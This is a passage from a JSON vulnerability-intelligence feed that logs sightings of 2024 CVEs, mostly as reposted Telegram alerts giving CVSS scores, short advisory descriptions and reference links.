References:\n1. https://github.com/python/cpython/issues/127655\n2. https://github.com/python/cpython/pull/127656\n3. https://mail.python.org/archives/list/security-announce@python.org/thread/H4O3UBAOAQQXGT4RE3E4XQYR5XLROORB/\n4. https://github.com/python/cpython/commit/71e8429ac8e2adc10084ab5ec29a62f4b6671a82\n5. https://github.com/python/cpython/commit/9aa0deb2eef2655a1029ba228527b152353135b5\n6. https://github.com/python/cpython/commit/e991ac8f2037d78140e417cc9a9486223eb3e786", "creation_timestamp": "2025-04-04T23:37:53.000000Z"}, {"uuid": "6491d831-43e2-4ba3-ab2e-a726b1010e14", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-27)", "content": "", "creation_timestamp": "2026-04-27T00:00:00.000000Z"}, {"uuid": "99fe6938-9680-4ea9-bbd9-57a542f7bb7c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12650", "type": "seen", "source": "Telegram/13zzh8XswVUB2Pi_-AEZmV1PrSe9NFiWdve8ZzLIixwlFl6m", "content": "", "creation_timestamp": "2025-03-06T02:16:32.000000Z"}, {"uuid": "2fa4235b-cce0-48ab-a3eb-9c3d6e16a923", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12556", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/11148", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12556\n\ud83d\udd25 CVSS Score: 8.7 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N)\n\ud83d\udd39 Description: Prototype Pollution in Kibana can lead to code injection via unrestricted file upload combined with path traversal.\n\ud83d\udccf Published: 2025-04-08T20:04:22.103Z\n\ud83d\udccf Modified: 2025-04-09T19:29:15.956Z\n\ud83d\udd17 References:\n1. https://discuss.elastic.co/t/kibana-8-16-4-and-8-17-2-security-update-esa-2025-02/376918", "creation_timestamp": "2025-04-09T19:48:22.000000Z"}, {"uuid": "3e851abf-907a-4693-b8f8-b229386781f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-27)", "content": "", "creation_timestamp": "2026-04-27T00:00:00.000000Z"}, {"uuid": "b1304c62-0460-4b43-84b4-b72ce6c43638", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12281", "type": "seen", "source": "Telegram/TR8UkG0tS9ijHabBoO0okLYvBiIBY1DErkRRaMl-bkasKvPi", "content": "", "creation_timestamp": "2025-03-06T02:16:32.000000Z"}, {"uuid": "c8359108-5fd9-4342-9a9e-8ccf921877ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12094", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/11778", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12094\n\ud83d\udd25 CVSS Score: 5.4 (cvssV4_0, Vector: CVSS:4.0/AV:P/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L)\n\ud83d\udd39 Description: This vulnerability exists in the Tinxy mobile app due to storage of logged-in user information in plaintext on the device database. An attacker with physical access to the rooted device could exploit this vulnerability by accessing its database leading to unauthorized access of user information such as username, email address and mobile number.\nNote:\nTo exploit this vulnerability, the device must be rooted/jailbroken.\n\ud83d\udccf Published: 2024-12-05T12:27:41.540Z\n\ud83d\udccf Modified: 2025-04-15T09:16:24.183Z\n\ud83d\udd17 References:\n1. https://www.cert-in.org.in/s2cMainServlet?pageid=PUBVLNOTES01&VLCODE=CIVN-2024-0355", "creation_timestamp": "2025-04-15T09:55:18.000000Z"}, {"uuid": "a2405220-b967-4f58-a5ec-736da33538c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12369", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/12325", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12369\n\ud83d\udd25 CVSS Score: 4.2 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N)\n\ud83d\udd39 Description: A vulnerability was found in OIDC-Client. When using the RH SSO OIDC adapter with EAP 7.x or when using the elytron-oidc-client subsystem with EAP 8.x, authorization code injection attacks can occur, allowing an attacker to inject a stolen authorization code into the attacker's own session with the client with a victim's identity. This is usually done with a Man-in-the-Middle (MitM) or phishing attack.\n\ud83d\udccf Published: 2024-12-09T20:53:09.260Z\n\ud83d\udccf Modified: 2025-04-17T18:46:48.744Z\n\ud83d\udd17 References:\n1. https://access.redhat.com/errata/RHSA-2025:3989\n2. https://access.redhat.com/security/cve/CVE-2024-12369\n3. https://bugzilla.redhat.com/show_bug.cgi?id=2331178", "creation_timestamp": "2025-04-17T18:58:08.000000Z"}, {"uuid": "95851fb1-cb31-476f-a699-e4bb052fb812", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-28)", "content": "", "creation_timestamp": "2026-04-28T00:00:00.000000Z"}, {"uuid": "1075c935-f5c5-4420-8cd2-840d3a259721", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12133", "type": "seen", "source": "Telegram/fjjOxxWjkfg9qUXECIHsvuyBdyIQzH60wabWSFmc2xlT4Msi", "content": "", "creation_timestamp": "2025-02-21T15:03:13.000000Z"}, {"uuid": "41f0f643-3a4b-4276-a667-d619328e2dce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12815", "type": "seen", "source": "Telegram/EUZnr01FrxLZyzusrQTDMp5EdU_mzgDnw3HpYH9gE_MUgmcj", "content": "", "creation_timestamp": "2025-03-06T02:16:31.000000Z"}, {"uuid": "2fbe28be-a9f6-4f59-b334-a6a1ad9b3f71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1267", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/13259", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-1267\n\ud83d\udd25 CVSS Score: 3.5 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N)\n\ud83d\udd39 Description: A vulnerability, which was classified as problematic, has been found in CodeAstro Restaurant POS System 1.0. Affected by this issue is some unknown functionality of the file create_account.php. The manipulation of the argument Full Name leads to cross site scripting. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-253010 is the identifier assigned to this vulnerability.\n\ud83d\udccf Published: 2024-02-07T01:00:08.559Z\n\ud83d\udccf Modified: 2025-04-24T15:58:53.648Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.253010\n2. https://vuldb.com/?ctiid.253010\n3. https://drive.google.com/drive/folders/18N_20KuGPjrBbvOMSfbvBIc1sMKyycH3?usp=sharing", "creation_timestamp": "2025-04-24T16:06:38.000000Z"}, {"uuid": "401622a4-dd45-410c-9200-4d11f4552072", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12243", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/13018", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12243\n\ud83d\udd25 CVSS Score: 5.3 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L)\n\ud83d\udd39 Description: A flaw was found in GnuTLS, which relies on libtasn1 for ASN.1 data processing. Due to an inefficient algorithm in libtasn1, decoding certain DER-encoded certificate data can take excessive time, leading to increased resource consumption. This flaw allows a remote attacker to send a specially crafted certificate, causing GnuTLS to become unresponsive or slow, resulting in a denial-of-service condition.\n\ud83d\udccf Published: 2025-02-10T15:28:10.328Z\n\ud83d\udccf Modified: 2025-04-23T10:53:56.693Z\n\ud83d\udd17 References:\n1. https://access.redhat.com/errata/RHSA-2025:4051\n2. https://access.redhat.com/security/cve/CVE-2024-12243\n3. https://bugzilla.redhat.com/show_bug.cgi?id=2344615\n4. https://gitlab.com/gnutls/libtasn1/-/issues/52", "creation_timestamp": "2025-04-23T11:20:41.000000Z"}, {"uuid": "6953028e-285a-444c-89eb-f7fb6b5a57ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-26)", "content": "", "creation_timestamp": "2026-04-26T00:00:00.000000Z"}, {"uuid": "d52bda5c-b408-48e8-a106-7d12f02186fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-26)", "content": "", "creation_timestamp": "2026-04-26T00:00:00.000000Z"}, {"uuid": "b0c58f32-62f5-4a8a-880a-8a43e93c43d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12120", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/15286", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12120\n\ud83d\udd25 CVSS Score: 5.4 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N)\n\ud83d\udd39 Description: The Royal Elementor Addons and Templates plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Countdown widget display_message_text parameter in all versions up to, and including, 1.7.1017 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-05-07T07:21:40.882Z\n\ud83d\udccf Modified: 2025-05-07T07:21:40.882Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/5ee7b4d8-c397-41f6-981f-9a010e4ab2f1?source=cve\n2. https://plugins.trac.wordpress.org/changeset/3236381/royal-elementor-addons/tags/1.7.1008/modules/countdown/widgets/wpr-countdown.php?old=3220755&old_path=royal-elementor-addons%2Ftags%2F1.7.1007%2Fmodules%2Fcountdown%2Fwidgets%2Fwpr-countdown.php\n3. https://plugins.trac.wordpress.org/changeset/3285549/royal-elementor-addons/tags/1.7.1018/assets/js/frontend.js?old=3277554&old_path=royal-elementor-addons%2Ftags%2F1.7.1017%2Fassets%2Fjs%2Ffrontend.js", "creation_timestamp": "2025-05-07T08:21:50.000000Z"}, {"uuid": "812b8aa2-a4cc-47df-89b4-1b7e7f53456a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12225", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/15216", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12225\n\ud83d\udd25 CVSS Score: 9.1 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)\n\ud83d\udd39 Description: A vulnerability was found in Quarkus in the quarkus-security-webauthn module. The Quarkus WebAuthn module publishes default REST endpoints for registering and logging users in while allowing developers to provide custom REST endpoints. When developers provide custom REST endpoints, the default endpoints remain accessible, potentially allowing attackers to obtain a login cookie that has no corresponding user in the Quarkus application or, depending on how the application is written, could correspond to an existing user that has no relation with the current attacker, allowing anyone to log in as an existing user by just knowing that user's user name.\n\ud83d\udccf Published: 2025-05-06T19:49:16.502Z\n\ud83d\udccf Modified: 2025-05-06T19:49:16.502Z\n\ud83d\udd17 References:\n1. https://access.redhat.com/security/cve/CVE-2024-12225\n2. https://bugzilla.redhat.com/show_bug.cgi?id=2330484", "creation_timestamp": "2025-05-06T20:21:20.000000Z"}, {"uuid": "4063e656-2a4e-40f8-80d7-b8c7ffe147f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12083", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/15238", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12083\n\ud83d\udd25 CVSS Score: 6.6 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: Path Traversal Vulnerabilities (CWE-22) exist in NJ/NX-series Machine Automation Controllers. An attacker may use these vulnerabilities to perform unauthorized access and to execute unauthorized code remotely to the controller products.\n\ud83d\udccf Published: 2025-01-14T00:46:33.399Z\n\ud83d\udccf Modified: 2025-05-06T23:55:36.575Z\n\ud83d\udd17 References:\n1. https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2025-001_en.pdf\n2. https://www.fa.omron.co.jp/product/security/assets/pdf/ja/OMSR-2025-001_ja.pdf", "creation_timestamp": "2025-05-07T00:21:55.000000Z"}, {"uuid": "0f68c4f8-a5ef-4cd9-ac8d-1bacc77333b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1260", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/15421", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-1260\n\ud83d\udd25 CVSS Score: 6.3 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L)\n\ud83d\udd39 Description: A vulnerability classified as critical has been found in Juanpao JPShop up to 1.5.02. This affects the function actionIndex of the file /api/controllers/admin/app/ComboController.php of the component API. The manipulation of the argument pic_url leads to unrestricted upload. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-252999.\n\ud83d\udccf Published: 2024-02-06T21:31:03.764Z\n\ud83d\udccf Modified: 2025-05-07T20:06:35.451Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.252999\n2. https://vuldb.com/?ctiid.252999\n3. https://note.zhaoj.in/share/H73DuWdyifaI", "creation_timestamp": "2025-05-07T20:23:03.000000Z"}, {"uuid": "3cee5368-5b44-4576-8a1e-6e3c688290f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12401", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/15558", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12401\n\ud83d\udd25 CVSS Score: 4.4 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H)\n\ud83d\udd39 Description: A flaw was found in the cert-manager package. This flaw allows an attacker who can modify PEM data that the cert-manager reads, for example, in a Secret resource, to use large amounts of CPU in the cert-manager controller pod to effectively create a denial-of-service (DoS) vector for the cert-manager in the cluster.\n\ud83d\udccf Published: 2024-12-12T09:06:03.612Z\n\ud83d\udccf Modified: 2025-05-08T15:59:14.670Z\n\ud83d\udd17 References:\n1. https://access.redhat.com/security/cve/CVE-2024-12401\n2. https://bugzilla.redhat.com/show_bug.cgi?id=2327929\n3. https://github.com/cert-manager/cert-manager/pull/7400\n4. https://github.com/cert-manager/cert-manager/pull/7401\n5. https://github.com/cert-manager/cert-manager/pull/7402\n6. https://github.com/cert-manager/cert-manager/pull/7403\n7. https://github.com/cert-manager/cert-manager/security/advisories/GHSA-r4pg-vg54-wxx4\n8. https://go.dev/issue/50116", "creation_timestamp": "2025-05-08T16:23:57.000000Z"}, {"uuid": "242e27a4-e128-4ed2-b8a0-5dd2cf93d21a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12378", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/15595", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12378\n\ud83d\udd25 CVSS Score: 9.1 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)\n\ud83d\udd39 Description: On affected platforms running Arista EOS with secure Vxlan configured, restarting the Tunnelsec agent will result in packets being sent over the secure Vxlan tunnels in the clear.\n\ud83d\udccf Published: 2025-05-08T19:05:22.320Z\n\ud83d\udccf Modified: 2025-05-08T19:05:22.320Z\n\ud83d\udd17 References:\n1. https://www.arista.com/en/support/advisories-notices/security-advisory/21289-security-advisory-0113", "creation_timestamp": "2025-05-08T19:24:16.000000Z"}, {"uuid": "cb8ebc60-e401-4ac2-9154-d7277aa6056f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12442", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/15727", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12442\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: EnerSys AMPA versions 24.04 through 24.16, inclusive, are vulnerable to command injection leading to privileged remote shell access.\n\ud83d\udccf Published: 2025-05-09T13:55:20.669Z\n\ud83d\udccf Modified: 2025-05-09T13:55:20.669Z\n\ud83d\udd17 References:\n1. https://github.com/mandiant/Vulnerability-Disclosures/blob/master/2025/MNDT-2025-0002.md\n2. https://www.enersys.com/4996df/globalassets/documents/corporate/cve/enersys_cve-2024-12442-final.pdf", "creation_timestamp": "2025-05-09T14:26:11.000000Z"}, {"uuid": "8c9e18c4-cdc9-4c6d-9620-dd066d5eb83f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12582", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/16037", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12582\n\ud83d\udd25 CVSS Score: 7.1 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:H)\n\ud83d\udd39 Description: A flaw was found in the skupper console,  a read-only interface that renders cluster network, traffic details, and metrics for a network application that a user sets up across a hybrid multi-cloud environment. When the default authentication method is used, a random password is generated for the \"admin\" user and is persisted in either a Kubernetes secret or a podman volume in a plaintext file. This authentication method can be manipulated by an attacker, leading to the reading of any user-readable file in the container filesystem, directly impacting data confidentiality. Additionally, the attacker may induce skupper to read extremely large files into memory, resulting in resource exhaustion and a denial of service attack.\n\ud83d\udccf Published: 2024-12-24T03:31:24.896Z\n\ud83d\udccf Modified: 2025-05-12T20:08:42.332Z\n\ud83d\udd17 References:\n1. https://access.redhat.com/errata/RHSA-2025:1413\n2. https://access.redhat.com/security/cve/CVE-2024-12582\n3. https://bugzilla.redhat.com/show_bug.cgi?id=2333540", "creation_timestamp": "2025-05-12T20:29:37.000000Z"}, {"uuid": "63e2f20a-702d-4e3a-b8f3-14a78479989f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "cve-2024-1234", "type": "seen", "source": "https://gist.github.com/harche/ac8e8399a9bf69091a38a5cf6e3bc56b", "content": "", "creation_timestamp": "2026-04-28T22:02:22.000000Z"}, {"uuid": "eb45d177-763e-4dc6-86b1-06b38f608486", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12053", "type": "seen", "source": "https://bsky.app/profile/ssd-disclsoure.bsky.social/post/3mkmovdigz22t", "content": "", "creation_timestamp": "2026-04-29T08:34:20.225413Z"}, {"uuid": "05989c08-69bb-4fcb-b5ef-f3bed60393a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12987", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/16339", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12987\n\ud83d\udd25 CVSS Score: 6.9 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: A vulnerability, which was classified as critical, was found in DrayTek Vigor2960 and Vigor300B 1.5.1.4. Affected is an unknown function of the file /cgi-bin/mainfunction.cgi/apmcfgupload of the component Web Management Interface. The manipulation of the argument session leads to os command injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 1.5.1.5 is able to address this issue. It is recommended to upgrade the affected component.\n\ud83d\udccf Published: 2024-12-27T16:00:13.600Z\n\ud83d\udccf Modified: 2025-05-14T17:03:33.399Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.289380\n2. https://vuldb.com/?ctiid.289380\n3. https://vuldb.com/?submit.468795\n4. https://netsecfish.notion.site/Command-Injection-in-apmcfgupload-endpoint-for-DrayTek-Gateway-Devices-1676b683e67c8040b7f1f0ffe29ce18f?pvs=4", "creation_timestamp": "2025-05-14T17:32:10.000000Z"}, {"uuid": "e3b27bd7-fafe-4964-9b95-87dfc74fef80", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12767", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/16567", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12767\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The buddyboss-platform WordPress plugin before 2.7.60 lacks proper access controls and allows a logged-in user to view comments on private posts\n\ud83d\udccf Published: 2025-05-15T20:09:40.026Z\n\ud83d\udccf Modified: 2025-05-15T20:09:40.026Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/e8997f90-d8e9-4815-8808-aa0183443dae/", "creation_timestamp": "2025-05-15T20:33:55.000000Z"}, {"uuid": "76cd2d39-86aa-4754-8561-45a6bd9f66f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12827", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/19680", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12827\n\ud83d\udd25 CVSS Score: 9.8 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: The DWT - Directory & Listing WordPress Theme theme for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 3.3.6. This is due to the plugin not properly checking for an empty token value prior to resetting a user's password through the dwt_listing_reset_password() function. This makes it possible for unauthenticated attackers to change arbitrary user's passwords, including administrators, and leverage that to gain access to their account.\n\ud83d\udccf Published: 2025-06-27T08:23:57.966Z\n\ud83d\udccf Modified: 2025-06-27T08:23:57.966Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/51fc7d47-2a0f-4713-9859-120321aa32dc?source=cve\n2. https://themeforest.net/item/dwt-listing-directory-listing-wordpress-theme/21976132", "creation_timestamp": "2025-06-27T08:52:06.000000Z"}, {"uuid": "044fdf6f-2eb2-4543-9fa3-b580e526e201", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12137", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/19698", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12137\n\ud83d\udd25 CVSS Score: 7.6 (cvssV3_1, Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:H)\n\ud83d\udd39 Description: Authentication Bypass by Capture-replay vulnerability in Elfatek Elektronics ANKA JPD-00028 allows Session Hijacking.This issue affects ANKA JPD-00028: before V.01.01.\n\ud83d\udccf Published: 2025-03-19T08:32:38.226Z\n\ud83d\udccf Modified: 2025-06-27T11:30:10.384Z\n\ud83d\udd17 References:\n1. https://www.usom.gov.tr/bildirim/tr-25-0071", "creation_timestamp": "2025-06-27T11:50:14.000000Z"}, {"uuid": "72b24f6f-de22-4491-8817-386375b805e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12364", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/19747", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12364\n\ud83d\udd25 CVSS Score: 9.8 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Mavi Ye\u015fil Software Guest Tracking Software allows SQL Injection.This issue affects .\u00a0\u00a0NOTE: The vendor did not inform about the completion of the fixing process within the specified time. The CVE will be updated when new information becomes available.\n\ud83d\udccf Published: 2025-06-27T16:13:51.955Z\n\ud83d\udccf Modified: 2025-06-27T16:40:30.349Z\n\ud83d\udd17 References:\n1. https://www.usom.gov.tr/bildirim/tr-25-0140", "creation_timestamp": "2025-06-27T16:57:26.000000Z"}, {"uuid": "489866bc-bb5c-45f5-9950-355d93dbfe1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12150", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/19746", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12150\n\ud83d\udd25 CVSS Score: 9.8 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Eron Software Wowwo CRM allows Blind SQL Injection.This issue affects .\u00a0NOTE: The vendor did not inform about the completion of the fixing process within the specified time. The CVE will be updated when new information becomes available.\n\ud83d\udccf Published: 2025-06-27T16:40:47.711Z\n\ud83d\udccf Modified: 2025-06-27T16:40:47.711Z\n\ud83d\udd17 References:\n1. https://www.usom.gov.tr/bildirim/tr-25-0141", "creation_timestamp": "2025-06-27T16:57:26.000000Z"}, {"uuid": "9887170f-1f90-4045-a076-06e24bec26d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12716", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/17068", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12716\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The 